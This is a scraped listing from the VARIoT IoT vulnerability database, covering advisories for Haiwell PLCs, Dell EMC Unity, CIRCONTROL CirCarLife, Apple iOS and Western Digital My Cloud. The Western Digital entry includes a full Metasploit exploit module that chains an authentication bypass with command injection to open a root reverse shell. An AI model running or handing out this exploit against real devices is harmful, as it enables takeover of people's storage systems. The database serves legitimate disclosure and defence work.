VARIoT IoT vulnerabilities database

Affected products: vendor, model and version
CWE format is 'CWE-number'. Threat type can be: remote or local
Look up free text in title and description

VAR-201809-1220 No CVE Haiwell C10S0R (-e) PLC Has Information Disclosure Vulnerability CVSS V2: 5.0
CVSS V3: -
Severity: MEDIUM
C10S0R (-e) PLC is a product in the programmable logic controller (PLC) series of Xiamen Haiwei Technology Co., Ltd. Haiwell C10S0R (-e) PLC has an information disclosure vulnerability. An attacker can use unauthorized information to construct specific network data packets and use the vulnerability to obtain PLC configuration information
VAR-201809-1212 No CVE Haiwell C10S0R (-e) PLC has arbitrary code coverage vulnerability CVSS V2: 7.8
CVSS V3: -
Severity: HIGH
C10S0R (-e) PLC is a product in the programmable logic controller (PLC) series of Xiamen Haiwei Technology Co., Ltd. Haiwell C10S0R (-e) PLC has an arbitrary code coverage vulnerability. An attacker can construct a specific network packet without authorization and use the vulnerability to change the PLC program
VAR-201809-1199 No CVE Haiwell C10S0R (-e) PLC has an arbitrary program removal vulnerability CVSS V2: 7.8
CVSS V3: -
Severity: HIGH
C10S0R (-e) PLC is a product in the programmable logic controller (PLC) series of Xiamen Haiwei Technology Co., Ltd. Haiwell C10S0R (-e) PLC has an arbitrary program to clear the loophole. An attacker can construct a specific network packet without authorization and use the loophole to clear the PLC program
VAR-201809-1200 No CVE Haiwell C10S0R (-e) PLC has an arbitrary memory tampering vulnerability CVSS V2: 7.8
CVSS V3: -
Severity: HIGH
C10S0R (-e) PLC is a product in the programmable logic controller (PLC) series of Xiamen Haiwei Technology Co., Ltd. Haiwell C10S0R (-e) PLC has an arbitrary memory tampering vulnerability. An attacker can construct specific network packets without authorization and use the vulnerability to control the output of the PLC. PLC Output
VAR-201809-1222 No CVE Haiwell C10S0R (-e) PLC has remote control vulnerability CVSS V2: 7.8
CVSS V3: -
Severity: HIGH
C10S0R (-e) PLC is a product in the programmable logic controller (PLC) series of Xiamen Haiwei Technology Co., Ltd. Haiwell C10S0R (-e) PLC has remote control loopholes. Attackers can use unauthorized loopholes to construct specific network data packets and use the loopholes to control PLC start and stop. PLC turn stop
VAR-201809-1345 No CVE SAP B2B / B2C CRM local file contains vulnerabilities CVSS V2: 2.1
CVSS V3: -
Severity: LOW
SAP enterprise application software solution provider. SAP B2B / B2C CRM has local file inclusion vulnerability. An attacker can use the vulnerability to cause externally submitted malicious data as a variable to enter the process of file inclusion, resulting in the submitted malicious data being executed.
VAR-201809-1221 No CVE Haiwell C10S0R (-e) PLC has unauthorized access vulnerability CVSS V2: 7.8
CVSS V3: -
Severity: HIGH
C10S0R (-e) PLC is a product in the programmable logic controller (PLC) series of Xiamen Haiwei Technology Co., Ltd. Haiwell C10S0R (-e) PLC has an unauthorized access vulnerability. An attacker can construct a specific network packet without authorization and use the vulnerability to change the PLC IP
VAR-201809-0658 CVE-2018-1251 Dell EMC Unity and UnityVSA Open redirect vulnerability CVSS V2: 5.8
CVSS V3: 8.1
Severity: HIGH
Dell EMC Unity and UnityVSA versions prior to 4.3.1.1525703027 contains a URL Redirection vulnerability. A remote unauthenticated attacker could potentially exploit this vulnerability to redirect Unity users to arbitrary web URLs by tricking the victim user to click on a maliciously crafted Unisphere URL. Attacker could potentially phish information, including Unisphere users' credentials, from the victim once they are redirected. An authorization-bypass vulnerability 2. A cross-site scripting vulnerability 3. An URL-redirection vulnerability Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, carry out phishing attacks, and gain unauthorized access and perform unauthorized actions. UnityVSA is another version of it. A remote authenticated user could potentially exploit this vulnerability to read files in NAS server by directly interacting with certain APIs of Unity OE, bypassing Role-Based Authorization control implemented only in Unisphere GUI. Link to remedies: Registered Dell EMC Support customers can download Unity software from the Dell EMC Online Support web site. https://support.emc.com/downloads/39949_Dell-EMC-Unity-Family Severity Rating For an explanation of Severity Ratings, refer to Dell EMC Knowledgebase article 468307 (https://support.emc.com/kb/468307). Dell EMC recommends all customers take into account both the base score and any relevant temporal and environmental scores which may impact the potential severity associated with particular security vulnerability. Legal Information Read and use the information in this Dell EMC Security Advisory to assist in avoiding any situation that might arise from the problems described herein. If you have any questions regarding this advisory, contact Dell EMC Technical Support (https://support.emc.com/servicecenter/contactEMC/). Dell EMC recommends that all users determine the applicability of this information to their individual situations and take appropriate action. The information set forth herein is provided "as is" without warranty of any kind. Dell EMC disclaims all warranties, either express or implied, including the warranties of merchantability, fitness for a particular purpose, title and non-infringement. In no event, shall Dell EMC or its suppliers, be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Dell EMC or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages, so the foregoing limitation may not apply. Dell Product Security Incident Response Team secure@dell.com -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEP5nobPoCj3pTvhAZgSlofD2Yi6cFAlug9xcACgkQgSlofD2Y i6eFlg/9Gbfu4dYSTr8/33bFt7zXktPR49cGBV6Y0TVFTKfvfu8aAPjd6rVzRn4C rmEviuxPvgGaa2P2d43DZulhlsfanNk4TNuIX1h8aoRZyj+9V6akDjVGAiojKlbG iAvnZYn5FEv///UlRTM+Ysn1LESFCcShKs1mg3XO5wkbwYfAGuD4qubrauHCkhlx Tbv6k73/qyyNXRrSb54xpJkZC9yuswvg+ledJ39r5YH4+JEZrnqAxUxos+emBO7y KHKkZdcf+oZqbBtONefmDG/84KxgT2+X/msfT0d4mSIDmnRwQl3gVAZW093ZpRM+ E2rS18RH75G4UzXmY+m2+I5lF6t+L8TvcxMgRP2/mkkC552FSujBhJNKUyfP7ral AP2DLMMXMrib8ddtVu9lk9HcBgATye2ibeu/Q2PUD7ld6gqGnFd7gJrexiT5Razq WCPEMjgIBXWZZ4qgp3aMq8lLXZ//Zyub1awql4JYZIr8oUjxmV8Lnp/0V6hTWAfX atznclE2+UGENlWqU4vOdhI+ZOeyn7bjrdUrktsAsvSg8LUECTtvjji5QsjLP+ui 57VcVKmX2j7+61mYslIs5HScgrEfubh73HL/Cm1JZ7aqsD1TUaGzlgqS/D2SMvL4 EgyXPpE3u9gBf0oNaNkbDNXyetLHIdmblJ8bz0zm00DoTMEaHZk= =LLPx -----END PGP SIGNATURE-----
VAR-201809-0657 CVE-2018-1250 Dell EMC Unity and UnityVSA Authorization vulnerability CVSS V2: 4.0
CVSS V3: 6.5
Severity: MEDIUM
Dell EMC Unity and UnityVSA versions prior to 4.3.1.1525703027 contains an Authorization Bypass vulnerability. A remote authenticated user could potentially exploit this vulnerability to read files in NAS server by directly interacting with certain APIs of Unity OE, bypassing Role-Based Authorization control implemented only in Unisphere GUI. An authorization-bypass vulnerability 2. A cross-site scripting vulnerability 3. An URL-redirection vulnerability Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, carry out phishing attacks, and gain unauthorized access and perform unauthorized actions. UnityVSA is another version of it. A remote unauthenticated attacker could potentially exploit this vulnerability to redirect Unity users to arbitrary web URLs by tricking the victim user to click on a maliciously crafted Unisphere URL. Attacker could potentially phish information, including Unisphere users' credentials, from the victim once they are redirected. Customers can refer to Dell EMC target code information at: https://support.emc.com/docu39695_Target_Revisions_and_Adoption_Rates.pdf?language=en_US&language=en_US. Link to remedies: Registered Dell EMC Support customers can download Unity software from the Dell EMC Online Support web site. https://support.emc.com/downloads/39949_Dell-EMC-Unity-Family Severity Rating For an explanation of Severity Ratings, refer to Dell EMC Knowledgebase article 468307 (https://support.emc.com/kb/468307). Dell EMC recommends all customers take into account both the base score and any relevant temporal and environmental scores which may impact the potential severity associated with particular security vulnerability. Legal Information Read and use the information in this Dell EMC Security Advisory to assist in avoiding any situation that might arise from the problems described herein. If you have any questions regarding this advisory, contact Dell EMC Technical Support (https://support.emc.com/servicecenter/contactEMC/). Dell EMC recommends that all users determine the applicability of this information to their individual situations and take appropriate action. The information set forth herein is provided "as is" without warranty of any kind. Dell EMC disclaims all warranties, either express or implied, including the warranties of merchantability, fitness for a particular purpose, title and non-infringement. In no event, shall Dell EMC or its suppliers, be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Dell EMC or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages, so the foregoing limitation may not apply. Dell Product Security Incident Response Team secure@dell.com -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEP5nobPoCj3pTvhAZgSlofD2Yi6cFAlug9xcACgkQgSlofD2Y i6eFlg/9Gbfu4dYSTr8/33bFt7zXktPR49cGBV6Y0TVFTKfvfu8aAPjd6rVzRn4C rmEviuxPvgGaa2P2d43DZulhlsfanNk4TNuIX1h8aoRZyj+9V6akDjVGAiojKlbG iAvnZYn5FEv///UlRTM+Ysn1LESFCcShKs1mg3XO5wkbwYfAGuD4qubrauHCkhlx Tbv6k73/qyyNXRrSb54xpJkZC9yuswvg+ledJ39r5YH4+JEZrnqAxUxos+emBO7y KHKkZdcf+oZqbBtONefmDG/84KxgT2+X/msfT0d4mSIDmnRwQl3gVAZW093ZpRM+ E2rS18RH75G4UzXmY+m2+I5lF6t+L8TvcxMgRP2/mkkC552FSujBhJNKUyfP7ral AP2DLMMXMrib8ddtVu9lk9HcBgATye2ibeu/Q2PUD7ld6gqGnFd7gJrexiT5Razq WCPEMjgIBXWZZ4qgp3aMq8lLXZ//Zyub1awql4JYZIr8oUjxmV8Lnp/0V6hTWAfX atznclE2+UGENlWqU4vOdhI+ZOeyn7bjrdUrktsAsvSg8LUECTtvjji5QsjLP+ui 57VcVKmX2j7+61mYslIs5HScgrEfubh73HL/Cm1JZ7aqsD1TUaGzlgqS/D2SMvL4 EgyXPpE3u9gBf0oNaNkbDNXyetLHIdmblJ8bz0zm00DoTMEaHZk= =LLPx -----END PGP SIGNATURE-----
VAR-201809-0546 CVE-2018-16670 CIRCONTROL CirCarLife Authentication vulnerability CVSS V2: 5.0
CVSS V3: 5.3
Severity: MEDIUM
An issue was discovered in CIRCONTROL CirCarLife before 4.3. There is PLC status disclosure due to lack of authentication for /html/devstat.html. CIRCONTROL CirCarLife Contains an authentication vulnerability.Information may be obtained. CIRCONTROL CirCarLife is a parking lot automation management system from Circontrol, Spain. A security vulnerability exists in CIRCONTROL CirCarLife prior to 4.3, which was caused by a lack of authentication for the /html/devstat.html file. This vulnerability can be exploited by a remote attacker to obtain status information about the PLC used at the charging station
VAR-201809-0547 CVE-2018-16671 CIRCONTROL CirCarLife Vulnerable to information disclosure CVSS V2: 5.0
CVSS V3: 5.3
Severity: MEDIUM
An issue was discovered in CIRCONTROL CirCarLife before 4.3. There is system software information disclosure due to lack of authentication for /html/device-id
VAR-201809-0306 CVE-2018-17153 Western Digital My Cloud Authentication vulnerabilities in devices

Related entries in the VARIoT exploits database: VAR-E-201701-0323
CVSS V2: 10.0
CVSS V3: 9.8
Severity: CRITICAL
It was discovered that the Western Digital My Cloud device before 2.30.196 is affected by an authentication bypass vulnerability. An unauthenticated attacker can exploit this vulnerability to authenticate as an admin user without needing to provide a password, thereby gaining full control of the device. (Whenever an admin logs into My Cloud, a server-side session is created that is bound to the user's IP address. After the session is created, it is possible to call authenticated CGI modules by sending the cookie username=admin in the HTTP request. The invoked CGI will check if a valid session is present and bound to the user's IP address.) It was found that it is possible for an unauthenticated attacker to create a valid session without a login. The network_mgr.cgi CGI module contains a command called "cgi_get_ipv6" that starts an admin session -- tied to the IP address of the user making the request -- if the additional parameter "flag" with the value "1" is provided. Subsequent invocation of commands that would normally require admin privileges now succeed if an attacker sets the username=admin cookie. An attacker can exploit this issue to bypass authentication mechanism and perform unauthorized actions. This may lead to further attacks. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Western Digital MyCloud unauthenticated command injection', 'Description' => %q{ This module exploits authentication bypass (CVE-2018-17153) and command injection (CVE-2016-10108) vulnerabilities in Western Digital MyCloud before 2.30.196 in order to achieve unauthenticated remote code execution as the root user. The module first performs a check to see if the target is WD MyCloud. If so, it attempts to trigger an authentication bypass (CVE-2018-17153) via a crafted GET request to /cgi-bin/network_mgr.cgi. If the server responds as expected, the module assesses the vulnerability status by attempting to exploit a commend injection vulnerability (CVE-2016-10108) in order to print a random string via the echo command. This is done via a crafted POST request to /web/google_analytics.php. If the server is vulnerable, the same command injection vector is leveraged to execute the payload. This module has been successfully tested against Western Digital MyCloud version 2.30.183. Note: based on the available disclosures, it seems that the command injection vector (CVE-2016-10108) might be exploitable without the authentication bypass (CVE-2018-17153) on versions before 2.21.126. The obtained results on 2.30.183 imply that the patch for CVE-2016-10108 did not actually remove the command injection vector, but only prevented unauthenticated access to it. }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik Wynter', # @wyntererik - Metasploit 'Steven Campbell', # CVE-2016-10108 disclosure and PoC 'Remco Vermeulen' # CVE-2018-17153 disclosure and PoC ], 'References' => [ ['CVE', '2016-10108'], # command injection in /web/google_analytics.php via a modified arg parameter in the POST data. ['CVE', '2018-17153'], # authentication bypass ['URL', 'https://www.securify.nl/advisory/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges/'], # CVE-2018-17153 disclosure and PoC ['URL', 'https://web.archive.org/web/20170315123948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/'] # CVE-2016-10108 disclosure and PoC ], 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_ARMLE, ARCH_CMD ], 'Targets' => [ [ 'Unix In-Memory', { 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }, 'Type' => :unix_memory } ], [ 'Linux Dropper', { 'Arch' => [ARCH_ARMLE], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => :curl }, 'Type' => :linux_dropper } ] ], 'CmdStagerFlavor' => ['curl', 'wget'], 'Privileged' => true, 'DisclosureDate' => '2016-12-14', # CVE-2016-10108 disclosure date 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The base path to WD MyCloud', '/']), ]) end def check # sanity check to see if the target is likely WD MyCloud res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) return CheckCode::Unknown('Connection failed.') unless res return CheckCode::Safe('Target is not a WD MyCloud application.') unless res.code == 200 && res.body.include?('var MODEL_ID = "WDMyCloud') print_status("#{rhost}:#{rport} - The target is WD MyCloud. Checking vulnerability status...") # try the authentication bypass (CVE-2018-17153) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'network_mgr.cgi'), 'vars_get' => { 'cmd' => 'cgi_get_ipv6', 'flag' => 1 # this cannot be randomized according to the CVE-2018-17153 details } }) return CheckCode::Unknown('Connection failed while attempting to trigger the authentication bypass.') unless res return CheckCode::Unknown("Received unexpected response code #{res.code} while attempting to trigger the authentication bypass.") unless res.code == 404 # send a command to print a random string via echo. if the target is vulnerable, both the command and the command output will be part of the response body echo_cmd = "echo #{Rex::Text.rand_text_alphanumeric(8..42)}" print_status("#{rhost}:#{rport} - Attempting to execute #{echo_cmd}...") res = execute_command(echo_cmd, { 'wait_for_response' => true }) return CheckCode::Unknown('Connection failed while trying to execute the echo command to check the vulnerability status.') unless res return CheckCode::Vulnerable('The target executed the echo command.') if res.code == 200 && res.body.include?(echo_cmd) && res.body.include?('"success":true') CheckCode::Safe('The target failed to execute the echo command.') end def execute_command(cmd, opts = {}) request_hash = { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'web', 'google_analytics.php'), 'cookie' => 'username=admin', 'vars_post' => { 'cmd' => 'set', 'opt' => 'cloud-device-num', 'arg' => "0|echo `#{cmd}` #" } } return send_request_cgi(request_hash) if opts['wait_for_response'] # if we are trying to execute the payload, we can just yeet it at the server and return without waiting for a response send_request_cgi(request_hash, 0) end def exploit if target.arch.first == ARCH_CMD print_status("#{rhost}:#{rport} - Executing the payload. This may take a few seconds...") execute_command(payload.encoded) else execute_cmdstager(background: true) end end end
VAR-201809-0544 CVE-2018-16668 CIRCONTROL CirCarLife Vulnerable to information disclosure CVSS V2: 5.0
CVSS V3: 5.3
Severity: MEDIUM
An issue was discovered in CIRCONTROL CirCarLife before 4.3. There is internal installation path disclosure due to the lack of authentication for /html/repository. CIRCONTROL CirCarLife Contains an information disclosure vulnerability.Information may be obtained. CIRCONTROL CirCarLife is a parking lot automation management system developed by Spain CIRCONTROL company. There is a security vulnerability in CIRCONTROL CirCarLife versions prior to 4.3
VAR-201809-0656 CVE-2018-1246 Dell EMC Unity and UnityVSA Vulnerable to cross-site scripting CVSS V2: 4.3
CVSS V3: 6.1
Severity: MEDIUM
Dell EMC Unity and UnityVSA contains reflected cross-site scripting vulnerability. A remote unauthenticated attacker could potentially exploit this vulnerability by tricking a victim application user to supply malicious HTML or Java Script code to Unisphere, which is then reflected back to the victim and executed by the web browser. An authorization-bypass vulnerability 2. A cross-site scripting vulnerability 3. The following products are vulnerable: Versions prior to EMC Unity Operating Environment (OE) 4.3.1.1525703027 Versions prior to EMC UnityVSA Operating Environment (OE) versions prior to 4.3.1.1525703027. UnityVSA is another version of it. A remote authenticated user could potentially exploit this vulnerability to read files in NAS server by directly interacting with certain APIs of Unity OE, bypassing Role-Based Authorization control implemented only in Unisphere GUI. Attacker could potentially phish information, including Unisphere users' credentials, from the victim once they are redirected. Customers can refer to Dell EMC target code information at: https://support.emc.com/docu39695_Target_Revisions_and_Adoption_Rates.pdf?language=en_US&language=en_US. https://support.emc.com/downloads/39949_Dell-EMC-Unity-Family Severity Rating For an explanation of Severity Ratings, refer to Dell EMC Knowledgebase article 468307 (https://support.emc.com/kb/468307). Dell EMC recommends all customers take into account both the base score and any relevant temporal and environmental scores which may impact the potential severity associated with particular security vulnerability. Legal Information Read and use the information in this Dell EMC Security Advisory to assist in avoiding any situation that might arise from the problems described herein. If you have any questions regarding this advisory, contact Dell EMC Technical Support (https://support.emc.com/servicecenter/contactEMC/). Dell EMC recommends that all users determine the applicability of this information to their individual situations and take appropriate action. The information set forth herein is provided "as is" without warranty of any kind. Dell EMC disclaims all warranties, either express or implied, including the warranties of merchantability, fitness for a particular purpose, title and non-infringement. In no event, shall Dell EMC or its suppliers, be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Dell EMC or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages, so the foregoing limitation may not apply. Dell Product Security Incident Response Team secure@dell.com -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEP5nobPoCj3pTvhAZgSlofD2Yi6cFAlug9xcACgkQgSlofD2Y i6eFlg/9Gbfu4dYSTr8/33bFt7zXktPR49cGBV6Y0TVFTKfvfu8aAPjd6rVzRn4C rmEviuxPvgGaa2P2d43DZulhlsfanNk4TNuIX1h8aoRZyj+9V6akDjVGAiojKlbG iAvnZYn5FEv///UlRTM+Ysn1LESFCcShKs1mg3XO5wkbwYfAGuD4qubrauHCkhlx Tbv6k73/qyyNXRrSb54xpJkZC9yuswvg+ledJ39r5YH4+JEZrnqAxUxos+emBO7y KHKkZdcf+oZqbBtONefmDG/84KxgT2+X/msfT0d4mSIDmnRwQl3gVAZW093ZpRM+ E2rS18RH75G4UzXmY+m2+I5lF6t+L8TvcxMgRP2/mkkC552FSujBhJNKUyfP7ral AP2DLMMXMrib8ddtVu9lk9HcBgATye2ibeu/Q2PUD7ld6gqGnFd7gJrexiT5Razq WCPEMjgIBXWZZ4qgp3aMq8lLXZ//Zyub1awql4JYZIr8oUjxmV8Lnp/0V6hTWAfX atznclE2+UGENlWqU4vOdhI+ZOeyn7bjrdUrktsAsvSg8LUECTtvjji5QsjLP+ui 57VcVKmX2j7+61mYslIs5HScgrEfubh73HL/Cm1JZ7aqsD1TUaGzlgqS/D2SMvL4 EgyXPpE3u9gBf0oNaNkbDNXyetLHIdmblJ8bz0zm00DoTMEaHZk= =LLPx -----END PGP SIGNATURE-----
VAR-201904-1476 CVE-2018-4362 Safari and iOS User interface mismatch vulnerability CVSS V2: 4.3
CVSS V3: 6.5
Severity: MEDIUM
An inconsistent user interface issue was addressed with improved state management. This issue affected versions prior to Safari 11.1.2, iOS 12. Apple iOS is prone to multiple security vulnerabilities. Attackers can exploit these issues to gain sensitive information, bypass security mechanisms, and conduct spoofing attacks and perform unauthorized actions. in the United States. Apple Safari is a web browser that is the default browser included with the Mac OS X and iOS operating systems. SafariViewController is one of the web browser components. An attacker can use this vulnerability to forge the content of the address bar by using a malicious website. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-2018-9-17-1 iOS 12 iOS 12 is now available and addresses the following: Accounts Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A local app may be able to read a persistent account identifier Description: This issue was addressed with improved entitlements. CVE-2018-4322: Min (Spark) Zheng, Xiaolong Bai of Alibaba Inc. Bluetooth Available for: iPhone SE, iPhone 6s, iPhone 6s Plus, iPhone 7, iPhone 7 Plus, iPad Mini 4, 12.9-inch iPad Pro 1st generation, 12.9-inch iPad Pro 2nd generation, 10.5-inch iPad Pro, 9.7-inch iPad Pro, iPad 5th generation, and iPod Touch 6th generation Impact: An attacker in a privileged network position may be able to intercept Bluetooth traffic Description: An input validation issue existed in Bluetooth. CVE-2018-5383: Lior Neumann and Eli Biham Core Bluetooth Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2018-4330: Apple CoreMedia Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An app may be able to learn information about the current camera view before being granted camera access Description: A permissions issue existed. CVE-2018-4356: an anonymous researcher IOMobileFrameBuffer Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2018-4335: Brandon Azad iTunes Store Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An attacker in a privileged network position may be able to spoof password prompts in the iTunes Store Description: An input validation issue was addressed with improved input validation. CVE-2018-4305: Jerry Decime Kernel Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: An input validation issue existed in the kernel. CVE-2018-4363: Ian Beer of Google Project Zero Messages Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A local user may be able to discover a user's deleted messages Description: A consistency issue existed in the handling of application snapshots. CVE-2018-4313: 11 anonymous researchers, David Scott, Enes Mert Ulu of Abdullah MA1/4rAide AzA1/4nenek Anadolu Lisesi - Ankara/TA1/4rkiye, Mehmet Ferit DaAtan of Van YA1/4zA1/4ncA1/4 YA+-l University, Metin Altug Karakaya of Kaliptus Medical Organization, Vinodh Swami of Western Governor's University (WGU) Notes Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A local user may be able to discover a user's deleted notes Description: A consistency issue existed in the handling of application snapshots. CVE-2018-4352: an anonymous researcher Safari Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A local user may be able to discover websites a user has visited Description: A consistency issue existed in the handling of application snapshots. CVE-2018-4313: 11 anonymous researchers, David Scott, Enes Mert Ulu of Abdullah MA1/4rAide AzA1/4nenek Anadolu Lisesi - Ankara/TA1/4rkiye, Mehmet Ferit DaAtan of Van YA1/4zA1/4ncA1/4 YA+-l University, Metin Altug Karakaya of Kaliptus Medical Organization, Vinodh Swami of Western Governor's University (WGU) Safari Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A user may be unable to delete browsing history items Description: Clearing a history item may not clear visits with redirect chains. CVE-2018-4329: Hugo S. Diaz (coldpointblue) Safari Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A malicious website may be able to exfiltrate autofilled data in Safari Description: A logic issue was addressed with improved state management. CVE-2018-4307: Rafay Baloch of Pakistan Telecommunications Authority SafariViewController Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Visiting a malicious website may lead to address bar spoofing Description: An inconsistent user interface issue was addressed with improved state management. CVE-2018-4362: Jun Kokatsu (@shhnjk) Security Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An attacker may be able to exploit weaknesses in the RC4 cryptographic algorithm Description: This issue was addressed by removing RC4. CVE-2016-1777: Pepi Zawodsky Status Bar Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A person with physical access to an iOS device may be able to determine the last used app from the lock screen Description: A logic issue was addressed with improved restrictions. CVE-2018-4325: Brian Adeloye Wi-Fi Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2018-4338: Lee @ SECLAB, Yonsei University working with Trend Micro's Zero Day Initiative Installation note: This update is available through iTunes and Software Update on your iOS device, and will not appear in your computer's Software Update application, or in the Apple Downloads site. Make sure you have an Internet connection and have installed the latest version of iTunes from https://www.apple.com/itunes/ iTunes and Software Update on the device will automatically check Apple's update server on its weekly schedule. When an update is detected, it is downloaded and the option to be installed is presented to the user when the iOS device is docked. We recommend applying the update immediately if possible. Selecting Don't Install will present the option the next time you connect your iOS device. The automatic update process may take up to a week depending on the day that iTunes or the device checks for updates. You may manually obtain the update via the Check for Updates button within iTunes, or the Software Update on your device. To check that the iPhone, iPod touch, or iPad has been updated: * Navigate to Settings * Select General * Select About. The version after applying this update will be "iOS 12". Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222 This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEDNXJVNCJJEAVmJdZeC9tht7TK3EFAluf5GIACgkQeC9tht7T K3G2mg//QBqaVSeHLeqL489OJmSvBtudWIDY1GhHJ5Xc8ox3ILDNLVZeBU+DIpqr Fb/slmBKhNM69CPf2fGC/Af2h3ZbUYVoANoyWfH+A/PYzFV726w5WHaq4QZndauO urHsrE/lH8CvDFS6lzp0OdGV5hVIGQ3hoYiF0lYmIdzCDQYwvFp+pn2I3b37Io8K 5/cjRiYp+uq2NAKLm6hx8yq0NtYAQyQTsk6ZAsGlilmydLJDGnaeJE80wk7EBd8f rkdtqzs5B5ohHVYLcoGgMUrE7qyLpqwXjkfIJO8bkk1IqlbMwjmhOJVRPaHWtj5Y 8Ouc2ebMfpFimk9+ODBUYMCsQJgQw8P6pW3gfSpiheIOPc65KzoaAdg+nOfmPwJK LR9CDMJauwYHf1I2RrMzDBflV1HIPurYciHBZKn6IH4f3KNIu5PGNTnHFgln6MxT D11WXuxNfvc2B1hRIRHXD2OB1+rh5Q+tkb+AEauHzIFWgl7otx6EZhiu7W8Mxa22 k6s/Fo1UZI1GbnNjU9ugEumxH8w0WQNQZOOH3FI07aA7F2FVcTVXL4uaIoHzZR0N ZmC/RvsQNGmw8L+DRWedEHda/rieAgMHkJxrjF0Day9PqY50YL7F+7qaw2J6Tmpo r5jDothh/1TQbkE5G8oOaT3Y3iOtDcMqh0T7jRxIP7awQMKce9M= =1Ld6 -----END PGP SIGNATURE-----
VAR-201904-1470 CVE-2018-4356 iOS Permissions vulnerability CVSS V2: 5.0
CVSS V3: 5.3
Severity: MEDIUM
A permissions issue existed. This issue was addressed with improved permission validation. This issue affected versions prior to iOS 12. iOS Has a permission vulnerability because of insufficient access rights validation.Information may be obtained. Apple iOS is prone to multiple security vulnerabilities. Attackers can exploit these issues to gain sensitive information, bypass security mechanisms, and conduct spoofing attacks and perform unauthorized actions. CoreMedia is one of the media core components. An attacker could exploit this vulnerability with an application to obtain information about the current camera view. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-2018-9-17-1 iOS 12 iOS 12 is now available and addresses the following: Accounts Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A local app may be able to read a persistent account identifier Description: This issue was addressed with improved entitlements. CVE-2018-4322: Min (Spark) Zheng, Xiaolong Bai of Alibaba Inc. Bluetooth Available for: iPhone SE, iPhone 6s, iPhone 6s Plus, iPhone 7, iPhone 7 Plus, iPad Mini 4, 12.9-inch iPad Pro 1st generation, 12.9-inch iPad Pro 2nd generation, 10.5-inch iPad Pro, 9.7-inch iPad Pro, iPad 5th generation, and iPod Touch 6th generation Impact: An attacker in a privileged network position may be able to intercept Bluetooth traffic Description: An input validation issue existed in Bluetooth. CVE-2018-5383: Lior Neumann and Eli Biham Core Bluetooth Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2018-4330: Apple CoreMedia Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An app may be able to learn information about the current camera view before being granted camera access Description: A permissions issue existed. CVE-2018-4356: an anonymous researcher IOMobileFrameBuffer Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2018-4335: Brandon Azad iTunes Store Available for: iPhone 5s 